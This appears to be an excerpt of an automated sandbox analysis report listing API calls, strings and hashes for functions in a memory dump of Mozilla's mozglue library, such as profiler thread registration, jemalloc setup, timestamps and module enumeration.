API String ID: 1341148965-1186885292
Opcode ID: 3145cb90d335be97890469e9718d1b74dd249c376b04779be51412aa5bf88626
Instruction ID: 2aa7de54209fbba727499cebadc23d7e2544764f98b9149ff84a5c138505d6e8
Opcode Fuzzy Hash: 3145cb90d335be97890469e9718d1b74dd249c376b04779be51412aa5bf88626
Instruction Fuzzy Hash: 39A15B31704A049FDB009F28C849B6A77B5FF9631DF298129E919A7F51DB30F884CBA1

Function 6C99F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C99F8F9

Part of subcall function 6C966390: GetCurrentThreadId.KERNEL32 ref: 6C9663D0
Part of subcall function 6C966390: AcquireSRWLockExclusive.KERNEL32 ref: 6C9663DF
Part of subcall function 6C966390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C96640E

ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99F93A
GetCurrentThreadId.KERNEL32 ref: 6C99F98A
GetCurrentThreadId.KERNEL32 ref: 6C99F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99F716

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

Part of subcall function 6C95B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C95B5E0

GetCurrentThreadId.KERNEL32 ref: 6C99F739
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99F746
GetCurrentThreadId.KERNEL32 ref: 6C99F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C9D385B,00000002,?,?,?,?,?), ref: 6C99F829
free.MOZGLUE(?,?,00000000,?), ref: 6C99F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C99F866
free.MOZGLUE(?), ref: 6C99FA0C

Part of subcall function 6C965E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9655E1), ref: 6C965E8C
Part of subcall function 6C965E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C965E9D
Part of subcall function 6C965E60: GetCurrentThreadId.KERNEL32 ref: 6C965EAB
Part of subcall function 6C965E60: GetCurrentThreadId.KERNEL32 ref: 6C965EB8
Part of subcall function 6C965E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C965ECF
Part of subcall function 6C965E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C965F27
Part of subcall function 6C965E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C965F47
Part of subcall function 6C965E60: GetCurrentProcess.KERNEL32 ref: 6C965F53
Part of subcall function 6C965E60: GetCurrentThread.KERNEL32 ref: 6C965F5C
Part of subcall function 6C965E60: GetCurrentProcess.KERNEL32 ref: 6C965F66
Part of subcall function 6C965E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C965F7E

free.MOZGLUE(?), ref: 6C99F9C5
free.MOZGLUE(?), ref: 6C99F9DA

Strings

[D %d/%d] profiler_register_thread(%s), xrefs: 6C99F71F
" attempted to re-register as ", xrefs: 6C99F858
Thread , xrefs: 6C99F789
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C99F9A6

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: adb053c41f4b996cf471cd50024806c6380a869b3b6f9227bf40ae8ed8245ea4
Instruction ID: 6b5310c5603d191f7ca0fc8477d7f63638681e90b96a7aec3afb15557e2c5248
Opcode Fuzzy Hash: adb053c41f4b996cf471cd50024806c6380a869b3b6f9227bf40ae8ed8245ea4
Instruction Fuzzy Hash: 8C81D4716047009FDB10DF24C840BAEB7B5FFA5308F59856DE849A7B51EB30E949CBA2

Function 6C99EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99EE60
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EE6D
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C99EEA5
CloseHandle.KERNEL32(?), ref: 6C99EEB4
free.MOZGLUE(00000000), ref: 6C99EEBB
GetCurrentThreadId.KERNEL32 ref: 6C99EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99EECF

Part of subcall function 6C99DE60: GetCurrentThreadId.KERNEL32 ref: 6C99DE73
Part of subcall function 6C99DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C964A68), ref: 6C99DE7B
Part of subcall function 6C99DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C964A68), ref: 6C99DEB8
Part of subcall function 6C99DE60: free.MOZGLUE(00000000,?,6C964A68), ref: 6C99DEFE
Part of subcall function 6C99DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C99DF38

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

GetCurrentThreadId.KERNEL32 ref: 6C99EF1E
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EF2B
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EF59
GetCurrentThreadId.KERNEL32 ref: 6C99EFB0
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EFBD
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EFE1
GetCurrentThreadId.KERNEL32 ref: 6C99EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99F000

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C99F02F

Part of subcall function 6C99F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C99F09B
Part of subcall function 6C99F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C99F0AC
Part of subcall function 6C99F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C99F0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6C99F008
[I %d/%d] profiler_stop, xrefs: 6C99EED7

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 451629b7ceba5a161d3ef492f19b905726d78a02939a6caee69f6441b36fb32a
Instruction ID: b8a4fbac2efcb96a32d5c2e6a1e40db27ab5d879d583546039f975c505bbd21f
Opcode Fuzzy Hash: 451629b7ceba5a161d3ef492f19b905726d78a02939a6caee69f6441b36fb32a
Instruction Fuzzy Hash: 88510531608A109FDB005BA4D80E7A577B8FB5631EF38465AE919A3F40DB31F884C7E2

Function 6C98D010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C9DE804), ref: 6C98D047
GetSystemInfo.KERNEL32(?), ref: 6C98D093
__Init_thread_footer.LIBCMT ref: 6C98D0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C9DE810,00000040), ref: 6C98D0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE7B8,00001388), ref: 6C98D147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE744,00001388), ref: 6C98D162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE784,00001388), ref: 6C98D18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE7DC,00001388), ref: 6C98D1B1

Strings

<jemalloc>, xrefs: 6C98D268, 6C98D311
Compile-time page size does not divide the runtime one., xrefs: 6C98D26D
MOZ_CRASH(), xrefs: 6C98D277
MALLOC_OPTIONS, xrefs: 6C98D0CB
: (malloc) Unsupported character in malloc options: ', xrefs: 6C98D322

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: 616c17d146eabda93402be3f25cd2f4f1caf4e6c323954c565650965d5ccdee2
Instruction ID: bd55a90260161550d85c816f729a0fabb3bfec874916e14820055cbf37d57902
Opcode Fuzzy Hash: 616c17d146eabda93402be3f25cd2f4f1caf4e6c323954c565650965d5ccdee2
Instruction Fuzzy Hash: EE811871B0AA02DBEB04DF68C944B69B7B5FB56B04F20491AE901B7B80D771F880CBD1

Function 6C965E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C965E9D

Part of subcall function 6C975B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C9756EE,?,00000001), ref: 6C975B85
Part of subcall function 6C975B50: EnterCriticalSection.KERNEL32(6C9DF688,?,?,?,6C9756EE,?,00000001), ref: 6C975B90
Part of subcall function 6C975B50: LeaveCriticalSection.KERNEL32(6C9DF688,?,?,?,6C9756EE,?,00000001), ref: 6C975BD8
Part of subcall function 6C975B50: GetTickCount64.KERNEL32 ref: 6C975BE4

GetCurrentThreadId.KERNEL32 ref: 6C965EAB
GetCurrentThreadId.KERNEL32 ref: 6C965EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C965ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C966017

Part of subcall function 6C954310: moz_xmalloc.MOZGLUE(00000010,?,6C9542D2), ref: 6C95436A
Part of subcall function 6C954310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C9542D2), ref: 6C954387

moz_xmalloc.MOZGLUE(00000004), ref: 6C965F47
GetCurrentProcess.KERNEL32 ref: 6C965F53
GetCurrentThread.KERNEL32 ref: 6C965F5C
GetCurrentProcess.KERNEL32 ref: 6C965F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C965F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C965F27

Part of subcall function 6C96CA10: mozalloc_abort.MOZGLUE(?), ref: 6C96CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9655E1), ref: 6C965E8C

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9655E1), ref: 6C96605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9655E1), ref: 6C9660CC

Strings

GeckoMain, xrefs: 6C965ECE, 6C966015

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 18007c623affa16d6fd482446bfd0e2da5a0232be5a4f48bdc9a41619676c588
Instruction ID: fe2a2cd9137c1a3b352bfc4f8bd3c8f569d5e34e782df34f2a83b2abc3ece42a
Opcode Fuzzy Hash: 18007c623affa16d6fd482446bfd0e2da5a0232be5a4f48bdc9a41619676c588
Instruction Fuzzy Hash: F871BFB0A09740DFD710DF25C480A6ABBF0BF69308F54496DE48687F92D730E998CB92

Function 6C969590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9531C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C953217
Part of subcall function 6C9531C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C953236
Part of subcall function 6C9531C0: FreeLibrary.KERNEL32 ref: 6C95324B
Part of subcall function 6C9531C0: __Init_thread_footer.LIBCMT ref: 6C953260
Part of subcall function 6C9531C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C95327F
Part of subcall function 6C9531C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C95328E
Part of subcall function 6C9531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9532AB
Part of subcall function 6C9531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9532D1
Part of subcall function 6C9531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C9532E5
Part of subcall function 6C9531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C9532F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C969675
__Init_thread_footer.LIBCMT ref: 6C969697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C9696E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C969707
__Init_thread_footer.LIBCMT ref: 6C96971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C969773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C9697B7
FreeLibrary.KERNEL32 ref: 6C9697D0
FreeLibrary.KERNEL32 ref: 6C9697EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C969824

Strings

ntdll.dll, xrefs: 6C9696E3
MapViewOfFileNuma2, xrefs: 6C9697B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C969670
NtMapViewOfSection, xrefs: 6C969701

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 0459d1096e69e22618129d6624f471f749d87a7f229ab371141dc1b5634dd1d8
Instruction ID: ad7bde9eeb5b4c124e74dcc735da0b360ff8e9eaf5045ce9313fcdfbf664f9e2
Opcode Fuzzy Hash: 0459d1096e69e22618129d6624f471f749d87a7f229ab371141dc1b5634dd1d8
Instruction Fuzzy Hash: A361E871608B05DBEF00CF65D885BDA7BB5EB4AB18F218519E915A7BC0D730F884CB91

Function 6C967FD0 Relevance: 24.2, APIs: 16, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C968007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C96801D

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C96802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C96803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C96808D

Part of subcall function 6C96CA10: mozalloc_abort.MOZGLUE(?), ref: 6C96CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C96809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C9680B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C9680DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9680ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9680FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C96810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C968133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C968149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C968167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C96817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C968199

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID:
API String ID: 2721933968-0
Opcode ID: c14b556d18c1698bfe8f38f2806a745741d886637b5ffda01ac28f81f30d86a6
Instruction ID: 65d4232a91dd285b52f2b3a9989be4e44a64ab7fc317eff88c13f0904f252403
Opcode Fuzzy Hash: c14b556d18c1698bfe8f38f2806a745741d886637b5ffda01ac28f81f30d86a6
Instruction Fuzzy Hash: 8A5196B1E001449BEF10DFA6DC849DFB7B9AF69224F250525E815E7781E730D904CBA2

Function 6C9B6660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C9DF618), ref: 6C9B6694
GetThreadId.KERNEL32(?), ref: 6C9B66B1
GetCurrentThreadId.KERNEL32 ref: 6C9B66B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C9B66E1
EnterCriticalSection.KERNEL32(6C9DF618), ref: 6C9B6734
GetCurrentProcess.KERNEL32 ref: 6C9B673A
LeaveCriticalSection.KERNEL32(6C9DF618), ref: 6C9B676C
GetCurrentThread.KERNEL32 ref: 6C9B67FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C9B6868
RtlCaptureContext.NTDLL ref: 6C9B687F

Strings

WalkStack64, xrefs: 6C9B6890

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 34f86f125093d951fe572f2d0265088715f95f22d465a7dddd451c0cb2d06836
Instruction ID: 7c12e1498edf45aa59936eb09e11e5efdcb7c3a4f13503f9025c66312e0df1ec
Opcode Fuzzy Hash: 34f86f125093d951fe572f2d0265088715f95f22d465a7dddd451c0cb2d06836
Instruction Fuzzy Hash: 3451BA71A09701AFDB15CF24C884A5BBBF8BF89714F10892DF999A7640D770F948CB92

Function 6C99DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99DE73
GetCurrentThreadId.KERNEL32 ref: 6C99DF7D
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99DF8A
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99DFC9
GetCurrentThreadId.KERNEL32 ref: 6C99DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C964A68), ref: 6C99DE7B

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C964A68), ref: 6C99DEB8
free.MOZGLUE(00000000,?,6C964A68), ref: 6C99DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C99DF38

Strings

<none>, xrefs: 6C99DFD7
[I %d/%d] locked_profiler_stop, xrefs: 6C99DE83
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C99E00E

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

